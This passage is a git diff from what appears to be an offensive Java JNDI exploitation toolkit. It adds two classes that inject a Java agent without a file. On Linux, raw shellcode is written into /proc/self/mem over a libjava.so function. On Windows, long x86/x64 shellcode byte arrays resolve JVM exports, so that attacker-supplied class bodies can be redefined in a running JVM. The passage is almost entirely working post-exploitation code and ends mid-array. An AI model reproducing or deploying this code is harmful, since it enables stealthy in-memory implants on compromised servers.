bC9wcm94eS9TZWN1cml0eUFjdGlvbnMkMi5jbGFzc1BLAQIUAwoAAAAIAAJsyzwRwR6b8wEAAJcDAAAsAAAAAAAAAAAAAACkgY8wCQBqYXZhc3Npc3QvdXRpbC9wcm94eS9TZWN1cml0eUFjdGlvbnMkMy5jbGFzc1BLAQIUAwoAAAAIAAJsyzw1dWL71AEAADwDAAAsAAAAAAAAAAAAAACkgcwyCQBqYXZhc3Npc3QvdXRpbC9wcm94eS9TZWN1cml0eUFjdGlvbnMkNC5jbGFzc1BLAQIUAwoAAAAIAAJsyzwsJgZpsAEAAOkCAAAsAAAAAAAAAAAAAACkgeo0CQBqYXZhc3Npc3QvdXRpbC9wcm94eS9TZWN1cml0eUFjdGlvbnMkNS5jbGFzc1BLAQIUAwoAAAAIAAJsyzwBdac93wEAAHgDAAAsAAAAAAAAAAAAAACkgeQ2CQBqYXZhc3Npc3QvdXRpbC9wcm94eS9TZWN1cml0eUFjdGlvbnMkNi5jbGFzc1BLAQIUAwoAAAAIAAJsyzyTEpVpQgUAAJsNAAAqAAAAAAAAAAAAAACkgQ05CQBqYXZhc3Npc3QvdXRpbC9wcm94eS9TZWN1cml0eUFjdGlvbnMuY2xhc3NQSwECFAMKAAAACAACbMs8Ojf05yYCAAAZBAAALAAAAAAAAAAAAAAApIGXPgkAamF2YXNzaXN0L3V0aWwvcHJveHkvU2VyaWFsaXplZFByb3h5JDEuY2xhc3NQSwECFAMKAAAACAACbMs8cKoBVgcHAABRDgAAKgAAAAAAAAAAAAAApIEHQQkAamF2YXNzaXN0L3V0aWwvcHJveHkvU2VyaWFsaXplZFByb3h5LmNsYXNzUEsBAhQDCgAAAAgAAmzLPJiNBCzsAAAAWQEAABwAAAAAAAAAAAAAAKSBVkgJAGphdmFzc2lzdC91dGlsL1RyaWdnZXIuY2xhc3NQSwECFAMKAAAAAAANbMs8AAAAAAAAAAAAAAAADwAAAAAAAAAAABAA7UF8SQkATUVUQS1JTkYvbWF2ZW4vUEsBAhQDCgAAAAAADWzLPAAAAAAAAAAAAAAAABkAAAAAAAAAAAAQAO1BqUkJAE1FVEEtSU5GL21hdmVuL2phdmFzc2lzdC9QSwECFAMKAAAAAAANbMs8AAAAAAAAAAAAAAAAIwAAAAAAAAAAABAA7UHgSQkATUVUQS1JTkYvbWF2ZW4vamF2YXNzaXN0L2phdmFzc2lzdC9QSwECFAMKAAAACAD5a8s82kx7wG0GAADxFwAAKgAAAAAAAAAAAAAApIEhSgkATUVUQS1JTkYvbWF2ZW4vamF2YXNzaXN0L2phdmFzc2lzdC9wb20ueG1sUEsBAhQDCgAAAAgADWzLPOQooFthAAAAawAAADEAAAAAAAAAAAAAAKSB1lAJAE1FVEEtSU5GL21hdmVuL2phdmFzc2lzdC9qYXZhc3Npc3QvcG9tLnByb3BlcnRpZXNQSwUGAAAAAIYBhgGYggAAhlEJAAAA"; + } + + public Class defineClass(byte[] classBytes) { + return super.defineClass(classBytes, 0, classBytes.length); + } +} diff --git a/src/main/java/com/qi4l/jndi/template/Agent/AgentNoFileForLinux.java b/src/main/java/com/qi4l/jndi/template/Agent/AgentNoFileForLinux.java new file mode 100644 index 0000000..d1d8a6e --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/Agent/AgentNoFileForLinux.java @@ -0,0 +1,259 @@ +package com.qi4l.jndi.template.Agent; + +import sun.misc.Unsafe; + +import java.io.BufferedReader; +import java.io.FileReader; +import java.io.IOException; +import java.io.RandomAccessFile; +import java.lang.instrument.ClassDefinition; +import java.lang.reflect.Constructor; +import java.lang.reflect.Method; +import java.nio.ByteBuffer; +import java.nio.ByteOrder; + +public class AgentNoFileForLinux { + private static final int SHT_DYNSYM = 11; + private static final int STT_FUNC = 2; + private static final int STT_GNU_IFUNC = 10; + public static Unsafe unsafe = getUnsafe(); + + private static int ELF_ST_TYPE(int x) { + return (x & 0xf); + } + + public static sun.misc.Unsafe getUnsafe() { + sun.misc.Unsafe unsafe = null; + try { + if (Class.forName(new Throwable().getStackTrace()[1].getClassName()).getClassLoader() == null) { + unsafe = sun.misc.Unsafe.getUnsafe(); + } + } catch (ClassNotFoundException ignored) { + } + + if (unsafe == null) { + try { + Class gsonClass = Class.forName("com.google.gson.internal.reflect.UnsafeReflectionAccessor"); + java.lang.reflect.Field field = gsonClass.getDeclaredField("theUnsafe"); + field.setAccessible(true); + unsafe = (sun.misc.Unsafe) field.get(null); + } catch (Exception ignored) { + } + } + + if (unsafe == null) { + try { + Class nettyClass = Class.forName("io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess"); + java.lang.reflect.Field field = nettyClass.getDeclaredField("UNSAFE"); + field.setAccessible(true); + unsafe = (sun.misc.Unsafe) field.get(null); + } catch (Exception ignored) { + } + } + + if (unsafe == null) { + try { + java.lang.reflect.Field theUnsafeField = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); + theUnsafeField.setAccessible(true); + unsafe = (sun.misc.Unsafe) theUnsafeField.get(null); + } catch (Exception ignored) { + } + } + + return unsafe; + } + + public static void redefineClasses(String className, byte[] classBody) throws Exception { +// Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine"); +// Field field1 = cls.getDeclaredField("ALLOW_ATTACH_SELF"); +// field1.setAccessible(true); +// Field modifiersField = Field.class.getDeclaredField("modifiers"); +// modifiersField.setInt(field1, field1.getModifiers() & ~Modifier.FINAL); +// field1.setBoolean(null, true); + + FileReader fin = new FileReader("/proc/self/maps"); + BufferedReader reader = new BufferedReader(fin); + String line; + long RandomAccessFile_length = 0, JNI_GetCreatedJavaVMs = 0; + while ((line = reader.readLine()) != null) { + String[] splits = line.trim().split(" "); + if (line.endsWith("libjava.so") && RandomAccessFile_length == 0) { + String[] addr_range = splits[0].split("-"); + long libbase = Long.parseLong(addr_range[0], 16); + String elfpath = splits[splits.length - 1]; + RandomAccessFile_length = find_symbol(elfpath, "Java_java_io_RandomAccessFile_length", libbase); + } else if (line.endsWith("libjvm.so") && JNI_GetCreatedJavaVMs == 0) { + String[] addr_range = splits[0].split("-"); + long libbase = Long.parseLong(addr_range[0], 16); + String elfpath = splits[splits.length - 1]; + JNI_GetCreatedJavaVMs = find_symbol(elfpath, "JNI_GetCreatedJavaVMs", libbase); + } + + if (JNI_GetCreatedJavaVMs != 0 && RandomAccessFile_length != 0) + break; + } + fin.close(); + + //修改Java_java_io_RandomAccessFile_open0的native代码,调用JNI_GetCreatedJavaVMs获取JavaVM,再通过JavaVM获取jvmtienv + RandomAccessFile fout = new RandomAccessFile("/proc/self/mem", "rw"); + //RSP 16字节对齐 + byte[] stack_align = {0x55, 0x48, (byte) 0x89, (byte) 0xe5, 0x48, (byte) 0xc7, (byte) 0xc0, 0xf, 0, 0, 0, 0x48, (byte) 0xf7, (byte) 0xd0}; + + byte[] movabs_rax = {0x48, (byte) 0xb8}; + ByteBuffer buffer = ByteBuffer.allocate(Long.SIZE / Byte.SIZE); + buffer.order(ByteOrder.LITTLE_ENDIAN); + buffer.putLong(0, JNI_GetCreatedJavaVMs); + + byte[] b = {0x48, (byte) 0x83, (byte) 0xEC, 0x40, 0x48, 0x31, (byte) 0xF6, 0x48, (byte) 0xFF, (byte) 0xC6, 0x48, (byte) 0x8D, 0x54, 0x24, 0x04, 0x48, + (byte) 0x8D, 0x7C, 0x24, 0x08, (byte) 0xFF, (byte) 0xD0, 0x48, (byte) 0x8B, 0x7C, 0x24, 0x08, 0x48, (byte) 0x8D, 0x74, 0x24, 0x10, + (byte) 0xBA, 0x00, 0x02, 0x01, 0x30, 0x48, (byte) 0x8B, 0x07, (byte) 0xFF, 0x50, 0x30, 0x48, (byte) 0x8B, 0x44, 0x24, 0x10, + 0x48, (byte) 0x83, (byte) 0xC4, 0x40, (byte) 0xC9, (byte) 0xC3}; + + int shellcode_len = b.length + 8 + movabs_rax.length + stack_align.length; + long landingpad = RandomAccessFile_length; + + byte[] backup = new byte[shellcode_len]; + fout.seek(landingpad); + fout.read(backup); + + fout.seek(landingpad); + fout.write(stack_align); + fout.write(movabs_rax); + fout.write(buffer.array()); + fout.write(b); + fout.close(); + + long native_jvmtienv = fout.length(); //触发执行 +// System.out.printf("native_jvmtienv %x\n", native_jvmtienv); + + //恢复代码 + fout = new RandomAccessFile("/proc/self/mem", "rw"); + fout.seek(RandomAccessFile_length); + fout.write(backup); + fout.close(); + + //libjvm.so的jvmti_RedefineClasses函数会校验if ( (*((_BYTE *)jvmtienv + 361) & 2) != 0 ) + unsafe.putByte(native_jvmtienv + 361, (byte) 2); + //伪造JPLISAgent结构时,只需要填mNormalEnvironment中的mJVMTIEnv即可,其他变量代码中实际没有使用 + long JPLISAgent = unsafe.allocateMemory(0x1000); + unsafe.putLong(JPLISAgent + 8, native_jvmtienv); + + redefineClasses(className, classBody, JPLISAgent); + fout.getFD(); + + } + + static long find_symbol(String elfpath, String sym, long libbase) throws IOException { + long func_ptr = 0; + RandomAccessFile fin = new RandomAccessFile(elfpath, "r"); + + byte[] e_ident = new byte[16]; + fin.read(e_ident); + short e_type = Short.reverseBytes(fin.readShort()); + short e_machine = Short.reverseBytes(fin.readShort()); + int e_version = Integer.reverseBytes(fin.readInt()); + long e_entry = Long.reverseBytes(fin.readLong()); + long e_phoff = Long.reverseBytes(fin.readLong()); + long e_shoff = Long.reverseBytes(fin.readLong()); + int e_flags = Integer.reverseBytes(fin.readInt()); + short e_ehsize = Short.reverseBytes(fin.readShort()); + short e_phentsize = Short.reverseBytes(fin.readShort()); + short e_phnum = Short.reverseBytes(fin.readShort()); + short e_shentsize = Short.reverseBytes(fin.readShort()); + short e_shnum = Short.reverseBytes(fin.readShort()); + short e_shstrndx = Short.reverseBytes(fin.readShort()); + + int sh_name = 0; + int sh_type = 0; + long sh_flags = 0; + long sh_addr = 0; + long sh_offset = 0; + long sh_size = 0; + int sh_link = 0; + int sh_info = 0; + long sh_addralign = 0; + long sh_entsize = 0; + + for (int i = 0; i < e_shnum; ++i) { + fin.seek(e_shoff + i * 64); + sh_name = Integer.reverseBytes(fin.readInt()); + sh_type = Integer.reverseBytes(fin.readInt()); + sh_flags = Long.reverseBytes(fin.readLong()); + sh_addr = Long.reverseBytes(fin.readLong()); + sh_offset = Long.reverseBytes(fin.readLong()); + sh_size = Long.reverseBytes(fin.readLong()); + sh_link = Integer.reverseBytes(fin.readInt()); + sh_info = Integer.reverseBytes(fin.readInt()); + sh_addralign = Long.reverseBytes(fin.readLong()); + sh_entsize = Long.reverseBytes(fin.readLong()); + if (sh_type == SHT_DYNSYM) { + break; + } + } + + int symtab_shdr_sh_link = sh_link; + long symtab_shdr_sh_size = sh_size; + long symtab_shdr_sh_entsize = sh_entsize; + long symtab_shdr_sh_offset = sh_offset; + + fin.seek(e_shoff + symtab_shdr_sh_link * e_shentsize); + sh_name = Integer.reverseBytes(fin.readInt()); + sh_type = Integer.reverseBytes(fin.readInt()); + sh_flags = Long.reverseBytes(fin.readLong()); + sh_addr = Long.reverseBytes(fin.readLong()); + sh_offset = Long.reverseBytes(fin.readLong()); + sh_size = Long.reverseBytes(fin.readLong()); + sh_link = Integer.reverseBytes(fin.readInt()); + sh_info = Integer.reverseBytes(fin.readInt()); + sh_addralign = Long.reverseBytes(fin.readLong()); + sh_entsize = Long.reverseBytes(fin.readLong()); + + long symstr_shdr_sh_offset = sh_offset; + + long cnt = symtab_shdr_sh_entsize > 0 ? symtab_shdr_sh_size / symtab_shdr_sh_entsize : 0; + for (long i = 0; i < cnt; ++i) { + fin.seek(symtab_shdr_sh_offset + symtab_shdr_sh_entsize * i); + int st_name = Integer.reverseBytes(fin.readInt()); + byte st_info = fin.readByte(); + byte st_other = fin.readByte(); + short st_shndx = Short.reverseBytes(fin.readShort()); + long st_value = Long.reverseBytes(fin.readLong()); + long st_size = Long.reverseBytes(fin.readLong()); + if (st_value == 0 + || st_name == 0 + || (ELF_ST_TYPE(st_info) != STT_FUNC && ELF_ST_TYPE(st_info) != STT_GNU_IFUNC)) { + continue; + } + + fin.seek(symstr_shdr_sh_offset + st_name); + String name = ""; + byte ch = 0; + while ((ch = fin.readByte()) != 0) { + name += (char) ch; + } + + if (sym.equals(name)) { + func_ptr = libbase + st_value; + break; + } + } + + fin.close(); + return func_ptr; + } + + public static void redefineClasses(String className, byte[] classBody, long JPLISAgent) { + try { + Class instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl"); + Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class); + constructor.setAccessible(true); + Object inst = constructor.newInstance(JPLISAgent, true, false); + + ClassDefinition definition = new ClassDefinition(Class.forName(className, false, Thread.currentThread().getContextClassLoader()), classBody); + Method redefineClazz = instrument_clazz.getMethod("redefineClasses", new Class[]{ClassDefinition[].class}); + redefineClazz.invoke(inst, new Object[]{new ClassDefinition[]{definition}}); + } catch (Throwable error) { + error.printStackTrace(); + } + } +} diff --git a/src/main/java/com/qi4l/jndi/template/Agent/AgentNoFileForWindows.java b/src/main/java/com/qi4l/jndi/template/Agent/AgentNoFileForWindows.java new file mode 100644 index 0000000..286e531 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/Agent/AgentNoFileForWindows.java @@ -0,0 +1,151 @@ +package com.qi4l.jndi.template.Agent; + +import sun.misc.Unsafe; + +import java.lang.instrument.ClassDefinition; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.lang.reflect.Modifier; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.HashMap; +import java.util.Map; + +public class AgentNoFileForWindows { + public static Map MAP = new HashMap(); + + // public static int pointerLength = Long.SIZE / Byte.SIZE; + public static int pointerLength = System.getProperty("os.arch").contains("x86") ? 4 : 8; + + public static Unsafe unsafe = getUnsafe(); + + public static sun.misc.Unsafe getUnsafe() { + sun.misc.Unsafe unsafe = null; + try { + if (Class.forName(new Throwable().getStackTrace()[1].getClassName()).getClassLoader() == null) { + unsafe = sun.misc.Unsafe.getUnsafe(); + } + } catch (ClassNotFoundException ignored) { + } + + if (unsafe == null) { + try { + Class gsonClass = Class.forName("com.google.gson.internal.reflect.UnsafeReflectionAccessor"); + java.lang.reflect.Field field = gsonClass.getDeclaredField("theUnsafe"); + field.setAccessible(true); + unsafe = (sun.misc.Unsafe) field.get(null); + } catch (Exception ignored) { + } + } + + if (unsafe == null) { + try { + Class nettyClass = Class.forName("io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess"); + java.lang.reflect.Field field = nettyClass.getDeclaredField("UNSAFE"); + field.setAccessible(true); + unsafe = (sun.misc.Unsafe) field.get(null); + } catch (Exception ignored) { + } + } + + if (unsafe == null) { + try { + java.lang.reflect.Field theUnsafeField = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); + theUnsafeField.setAccessible(true); + unsafe = (sun.misc.Unsafe) theUnsafeField.get(null); + } catch (Exception ignored) { + } + } + + return unsafe; + } + + public static void redefineClasses(String className, byte[] classBody) throws Exception { + Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine"); + Field field1 = cls.getDeclaredField("ALLOW_ATTACH_SELF"); + field1.setAccessible(true); + Field modifiersField = Field.class.getDeclaredField("modifiers"); + modifiersField.setInt(field1, field1.getModifiers() & ~Modifier.FINAL); + field1.setBoolean(null, true); + + //伪造JPLISAgent结构时,只需要填mNormalEnvironment中的mJVMTIEnv即可,其他变量代码中实际没有使用 + long JPLISAgent = unsafe.allocateMemory(0x1000); + + byte[] buf = new byte[]{(byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x48, (byte) 0x83, (byte) 0xE4, (byte) 0xF0, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x65, (byte) 0x48, (byte) 0x8B, (byte) 0x41, (byte) 0x60, (byte) 0x48, (byte) 0x8B, (byte) 0x40, (byte) 0x18, (byte) 0x48, (byte) 0x8B, (byte) 0x70, (byte) 0x20, (byte) 0x48, (byte) 0xAD, (byte) 0x48, (byte) 0x96, (byte) 0x48, (byte) 0xAD, (byte) 0x48, (byte) 0x8B, (byte) 0x58, (byte) 0x20, (byte) 0x4D, (byte) 0x31, (byte) 0xC0, (byte) 0x44, (byte) 0x8B, (byte) 0x43, (byte) 0x3C, (byte) 0x4C, (byte) 0x89, (byte) 0xC2, (byte) 0x48, (byte) 0x01, (byte) 0xDA, (byte) 0x44, (byte) 0x8B, (byte) 0x82, (byte) 0x88, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x01, (byte) 0xD8, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x20, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x49, (byte) 0xB9, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x48, (byte) 0xFF, (byte) 0xC1, (byte) 0x48, (byte) 0x31, (byte) 0xC0, (byte) 0x8B, (byte) 0x04, (byte) 0x8E, (byte) 0x48, (byte) 0x01, (byte) 0xD8, (byte) 0x4C, (byte) 0x39, (byte) 0x08, (byte) 0x75, (byte) 0xEF, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x24, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x1C, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x48, (byte) 0x31, (byte) 0xD2, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x48, (byte) 0x01, (byte) 0xDA, (byte) 0x48, (byte) 0x89, (byte) 0xD7, (byte) 0xB9, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x48, (byte) 0x89, (byte) 0xD9, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x10, (byte) 0x48, (byte) 0x89, (byte) 0xC6, (byte) 0xB9, (byte) 0x6C, (byte) 0x6C, (byte) 0x00, (byte) 0x00, (byte) 0x51, (byte) 0xB9, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE1, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0xFF, (byte) 0xD6, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x10, (byte) 0x49, (byte) 0x89, (byte) 0xC7, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x48, (byte) 0xB9, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x73, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x4C, (byte) 0x89, (byte) 0xF9, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x18, (byte) 0x49, (byte) 0x89, (byte) 0xC7, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x48, (byte) 0x89, (byte) 0xE1, (byte) 0xBA, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x89, (byte) 0xC8, (byte) 0x49, (byte) 0x83, (byte) 0xC0, (byte) 0x08, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x48, (byte) 0x8B, (byte) 0x09, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x54, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x4D, (byte) 0x31, (byte) 0xC0, (byte) 0x4C, (byte) 0x8B, (byte) 0x39, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x20, (byte) 0x49, (byte) 0x89, (byte) 0xCE, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x4C, (byte) 0x89, (byte) 0xF1, (byte) 0x48, (byte) 0xBA, (byte) 0x48, (byte) 0x47, (byte) 0x46, (byte) 0x45, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x41, (byte) 0xB8, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x4D, (byte) 0x8B, (byte) 0x3E, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x20, (byte) 0x4C, (byte) 0x89, (byte) 0xF1, (byte) 0x4D, (byte) 0x8B, (byte) 0x3E, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x28, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x78, (byte) 0xC3}; + byte[] stub = new byte[]{0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41}; + if (pointerLength == 4) { + buf = new byte[]{(byte) 0x90, (byte) 0x90, (byte) 0x90, (byte) 0x33, (byte) 0xC9, (byte) 0x64, (byte) 0xA1, (byte) 0x30, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x8B, (byte) 0x40, (byte) 0x0C, (byte) 0x8B, (byte) 0x70, (byte) 0x14, (byte) 0xAD, (byte) 0x96, (byte) 0xAD, (byte) 0x8B, (byte) 0x58, (byte) 0x10, (byte) 0x8B, (byte) 0x53, (byte) 0x3C, (byte) 0x03, (byte) 0xD3, (byte) 0x8B, (byte) 0x52, (byte) 0x78, (byte) 0x03, (byte) 0xD3, (byte) 0x33, (byte) 0xC9, (byte) 0x8B, (byte) 0x72, (byte) 0x20, (byte) 0x03, (byte) 0xF3, (byte) 0x41, (byte) 0xAD, (byte) 0x03, (byte) 0xC3, (byte) 0x81, (byte) 0x38, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x75, (byte) 0xF4, (byte) 0x81, (byte) 0x78, (byte) 0x04, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x75, (byte) 0xEB, (byte) 0x81, (byte) 0x78, (byte) 0x08, (byte) 0x64, (byte) 0x64, (byte) 0x72, (byte) 0x65, (byte) 0x75, (byte) 0xE2, (byte) 0x8B, (byte) 0x72, (byte) 0x24, (byte) 0x03, (byte) 0xF3, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x49, (byte) 0x8B, (byte) 0x72, (byte) 0x1C, (byte) 0x03, (byte) 0xF3, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x03, (byte) 0xD3, (byte) 0x52, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x68, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x68, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x68, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x59, (byte) 0x50, (byte) 0x66, (byte) 0xB9, (byte) 0x33, (byte) 0x32, (byte) 0x51, (byte) 0x68, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x54, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xD8, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x5A, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x6A, (byte) 0x73, (byte) 0x68, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x68, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x68, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x68, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x68, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x89, (byte) 0x45, (byte) 0xF0, (byte) 0x54, (byte) 0x6A, (byte) 0x01, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x54, (byte) 0x59, (byte) 0x6A, (byte) 0x01, (byte) 0x51, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xC1, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0x6A, (byte) 0x00, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x8B, (byte) 0x00, (byte) 0x50, (byte) 0x8B, (byte) 0x18, (byte) 0x8B, (byte) 0x43, (byte) 0x10, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0x43, (byte) 0x18, (byte) 0x68, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x68, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x83, (byte) 0xEC, (byte) 0x04, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xEC, (byte) 0x0C, (byte) 0x8B, (byte) 0x43, (byte) 0x14, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xC4, (byte) 0x5C, (byte) 0xC3}; + stub = new byte[]{0x44, 0x43, 0x42, 0x41}; + } + buf = replaceBytes(buf, stub, long2ByteArray_Little_Endian(JPLISAgent + pointerLength, pointerLength)); + classBody[7] = 0x32; + + Class windowsVirtualMachine; + System.loadLibrary("attach"); + try { + windowsVirtualMachine = Class.forName("sun.tools.attach.WindowsVirtualMachine"); + } catch (ClassNotFoundException e) { + byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 51, 0, 21, 10, 0, 3, 0, 17, 7, 0, 18, 7, 0, 19, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 40, 76, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 97, 116, 116, 97, 99, 104, 47, 87, 105, 110, 100, 111, 119, 115, 86, 105, 114, 116, 117, 97, 108, 77, 97, 99, 104, 105, 110, 101, 59, 1, 0, 7, 101, 110, 113, 117, 101, 117, 101, 1, 0, 61, 40, 74, 91, 66, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 10, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 7, 0, 20, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 26, 87, 105, 110, 100, 111, 119, 115, 86, 105, 114, 116, 117, 97, 108, 77, 97, 99, 104, 105, 110, 101, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 38, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 97, 116, 116, 97, 99, 104, 47, 87, 105, 110, 100, 111, 119, 115, 86, 105, 114, 116, 117, 97, 108, 77, 97, 99, 104, 105, 110, 101, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 79, 69, 120, 99, 101, 112, 116, 105, 111, 110, 0, 33, 0, 2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 